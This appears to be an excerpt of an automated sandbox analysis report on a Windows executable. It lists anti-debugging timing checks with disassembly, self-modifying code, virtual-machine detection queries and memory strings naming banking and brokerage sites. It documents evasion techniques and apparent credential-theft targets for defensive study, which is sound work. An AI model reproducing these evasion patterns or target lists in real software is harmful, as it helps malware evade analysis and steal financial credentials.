Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E09DA second address: 49E09EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB65109F88Bh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E09EB second address: 49E0A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB6510B03A0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0A05 second address: 49E0A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0A88 second address: 49E0A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0A8C second address: 49E0A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0A92 second address: 49E0AA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 push eax 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FB6510B041Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0AA9 second address: 49E0AC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F893h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0AC0 second address: 49E0AD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6510B03A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0B66 second address: 49E0B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 leave 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB65109F88Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0B7A second address: 49D0007 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 jmp 00007FB6510B0392h 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007FB6510B0397h 0x0000001b sub esp, 04h 0x0000001e mov dword ptr [esp], 0000000Dh 0x00000025 call 00007FB6553ED98Bh 0x0000002a mov edi, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0007 second address: 49D001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB65109F893h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D001F second address: 49D0088 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB6510B039Eh 0x0000000f push eax 0x00000010 jmp 00007FB6510B039Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov ecx, 667F0C67h 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 call 00007FB6510B03A8h 0x00000025 pop eax 0x00000026 mov cl, bl 0x00000028 popad 0x00000029 sub esp, 2Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f movsx edx, si 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0140 second address: 49D0144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0144 second address: 49D0182 instructions: 0x00000000 rdtsc 0x00000002 call 00007FB6510B039Dh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ebx, 00000000h 0x00000010 jmp 00007FB6510B039Ch 0x00000015 sub edi, edi 0x00000017 jmp 00007FB6510B03A1h 0x0000001c inc ebx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov dx, cx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0182 second address: 49D0201 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB65109F896h 0x00000008 or ch, FFFFFFF8h 0x0000000b jmp 00007FB65109F88Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007FB65109F898h 0x00000019 sub al, 00000058h 0x0000001c jmp 00007FB65109F88Bh 0x00000021 popfd 0x00000022 popad 0x00000023 test al, al 0x00000025 jmp 00007FB65109F896h 0x0000002a je 00007FB65109FA21h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FB65109F88Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0201 second address: 49D0210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B039Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0210 second address: 49D0228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB65109F894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0228 second address: 49D026E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B039Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea ecx, dword ptr [ebp-14h] 0x0000000e jmp 00007FB6510B03A6h 0x00000013 mov dword ptr [ebp-14h], edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB6510B03A7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D03AA second address: 49D0462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 9923h 0x00000008 popad 0x00000009 popad 0x0000000a lea eax, dword ptr [ebp-2Ch] 0x0000000d jmp 00007FB65109F896h 0x00000012 xchg eax, esi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB65109F88Eh 0x0000001a and al, FFFFFF98h 0x0000001d jmp 00007FB65109F88Bh 0x00000022 popfd 0x00000023 jmp 00007FB65109F898h 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007FB65109F88Bh 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 pushad 0x00000032 mov eax, 1C482A41h 0x00000037 mov cl, 29h 0x00000039 popad 0x0000003a mov dh, A1h 0x0000003c popad 0x0000003d nop 0x0000003e jmp 00007FB65109F892h 0x00000043 push eax 0x00000044 pushad 0x00000045 mov bh, BCh 0x00000047 popad 0x00000048 nop 0x00000049 jmp 00007FB65109F88Fh 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 jmp 00007FB65109F894h 0x00000055 push eax 0x00000056 push edx 0x00000057 push esi 0x00000058 pop edi 0x00000059 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0462 second address: 49D0466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49C0DDB second address: 49C0E49 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 622DB1A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FB65109F88Dh 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FB65109F88Eh 0x00000016 mov ebp, esp 0x00000018 jmp 00007FB65109F890h 0x0000001d xchg eax, ecx 0x0000001e jmp 00007FB65109F890h 0x00000023 push eax 0x00000024 jmp 00007FB65109F88Bh 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FB65109F895h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D09EF second address: 49D0A25 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB6510B039Fh 0x00000008 sbb si, B35Eh 0x0000000d jmp 00007FB6510B03A9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0A25 second address: 49D0A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB65109F88Ch 0x0000000a sub ah, 00000058h 0x0000000d jmp 00007FB65109F88Bh 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 cmp dword ptr [7544459Ch], 05h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 call 00007FB65109F891h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0A66 second address: 49D0A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6510B039Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0A77 second address: 49D0A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0A7B second address: 49D0A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FB6C1ABE312h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov esi, 025637F5h 0x00000016 mov edi, ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0A94 second address: 49D0ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB65109F898h 0x00000009 add ecx, 28520E78h 0x0000000f jmp 00007FB65109F88Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB65109F895h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0B4F second address: 49D0B95 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB6510B03A0h 0x00000008 or ch, FFFFFFF8h 0x0000000b jmp 00007FB6510B039Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 push 694C7121h 0x00000019 jmp 00007FB6510B039Fh 0x0000001e xor dword ptr [esp], 1C0FED09h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0B95 second address: 49D0B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0B9B second address: 49D0BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49D0BA1 second address: 49D0BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0BF8 second address: 49E0C4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FB6510B039Eh 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FB6510B03A0h 0x00000016 mov ebp, esp 0x00000018 jmp 00007FB6510B03A0h 0x0000001d xchg eax, esi 0x0000001e jmp 00007FB6510B03A0h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov dx, cx 0x0000002a push ecx 0x0000002b pop edx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0C4F second address: 49E0C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB65109F890h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0C63 second address: 49E0C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0C67 second address: 49E0CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FB65109F897h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB65109F88Bh 0x0000001a xor al, 0000006Eh 0x0000001d jmp 00007FB65109F899h 0x00000022 popfd 0x00000023 mov bx, ax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0CBA second address: 49E0D7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB6510B03A1h 0x00000014 add ecx, 34435856h 0x0000001a jmp 00007FB6510B03A1h 0x0000001f popfd 0x00000020 push ecx 0x00000021 pushfd 0x00000022 jmp 00007FB6510B03A7h 0x00000027 add eax, 332E498Eh 0x0000002d jmp 00007FB6510B03A9h 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 je 00007FB6C1AADA20h 0x0000003b jmp 00007FB6510B03A7h 0x00000040 cmp dword ptr [7544459Ch], 05h 0x00000047 pushad 0x00000048 pushad 0x00000049 mov bl, ch 0x0000004b mov di, 7A02h 0x0000004f popad 0x00000050 mov eax, edx 0x00000052 popad 0x00000053 je 00007FB6C1AC5AD0h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FB6510B03A7h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0D7E second address: 49E0D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0D84 second address: 49E0DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 jmp 00007FB6510B039Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f jmp 00007FB6510B03A0h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FB6510B039Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0DBE second address: 49E0DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0DC2 second address: 49E0DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0DC8 second address: 49E0DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0DF3 second address: 49E0DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0DF9 second address: 49E0E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB65109F892h 0x00000008 jmp 00007FB65109F892h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0E29 second address: 49E0E47 instructions: 0x00000000 rdtsc 0x00000002 call 00007FB6510B039Ah 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov ebx, 764B0124h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0E47 second address: 49E0E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0F30 second address: 49E0F5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB6510B03A7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0F5E second address: 49E0F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0F64 second address: 49E0F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Special instruction interceptor: First address: 6B7867 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Special instruction interceptor: First address: 6B56A2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Special instruction interceptor: First address: 87B9F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Special instruction interceptor: First address: 8D9FDA instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe TID: 6248

Thread sleep time: -210000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: S6oj0LoSiL.exe, 00000001.00000002.1572396502.0000000000832000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: S6oj0LoSiL.exe, S6oj0LoSiL.exe, 00000001.00000003.1417319273.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1571584223.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: S6oj0LoSiL.exe, 00000001.00000003.1417319273.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1571584223.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: S6oj0LoSiL.exe, 00000001.00000003.1570420637.00000000004C8000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1571514948.00000000004C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhDQ%SystemRoot%\system32\mswsock.dll
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.0000000005394000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: S6oj0LoSiL.exe, 00000001.00000003.1417278322.0000000000562000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0XtQ0SyHgfSlgfktEvkABFPT5T1vm/vcRUFzIj3vRg/NNlPbYN7EsOrF/zFcr0QmUt76cFyS9dVIXzs8fv0JCMR7D51i2s7ipZf9Jw77AQ5Y3uYybJb21UlOeCs05UcDwjhT3iyRgfe8xaBpLfQAD0fe5nJ23+KbSEU7e3DuTwLBMFDVYM3K/6eM/y8W9AwCU9PpNWyW6dVERHgpNqQHT88jF4Us8cLhsrf7OA23G0ZMne8+Kcm70kdGdi466kwCwTpW0GrUwPisgf8pGPoLBlXT4Ddtm/KbAQl8O3C8CT/FN1zRLurC/qqC7mkDuR1IUtGoaimS+9ZKRnAuMehFCM89WNJrzc39ronyJxf/BQBH3OM2b9G1m0hRO3twxEcMzjwV6G/Rz/eyxednBbcDBBWFqCBinPrVXURpLTHiSQzPP1zXb9DJ/a6J/y0c/A0AXtPpcifR/MMPETsEJONZA8UtUJ1zkdiwo4m4cVzxCA1a0+g8aJz930JJaSUi40gMyz1S2WzexPWgjfwlE7dKSFLFqGopvuzVWUJvJCD1c039OFnTa8mB7+qcuC4Qt1xIXM/6Nm+a8MldQ38iMeNGDsM+W9dn29P4rYbqLRz8Dg4Vk6g1cdGjm2tEay878k4f/ThZ02vJge/qnLguELdcSFrS5zppkP/WS0h2LznnRQPANlvZY9fJ86yX9ica8QQNFZOoNXHRo5trR2w3O6Z8DMY1UMsswI/p5IL0aUS3CgVe0e87aJL70UFGcSs45EQOwzNR0GfQzveshvQsEfRERhXa8HIx0d7VTFhqYQXnRwHPLRfCIsaB96jFoGkW8AMMWNfrNm2c9NJGQGkpPOpbAsI+WdFp0MHxpYvyIly5RA9NnbByRpzryUVCamEF50cBzy0XwiLGgfeoxaBpF/EIBFXb+jxmg/HJS0d/Lz7tRADNKVPdft7E96qI6ixcuUQPTZ2wclOl/MteTjkWM+pHCN57SJN1n8b85N24KhD6DQ1az+I+aIP80kZDei0/70UK2jBY1WPezP2vgfhpUrcDEBWFqBNknunYXgtOID7qThmIJBnELNjNsPzF+SUQ9gsOX9XrM3uY9NNAQHogNOVDHdo7W89g1c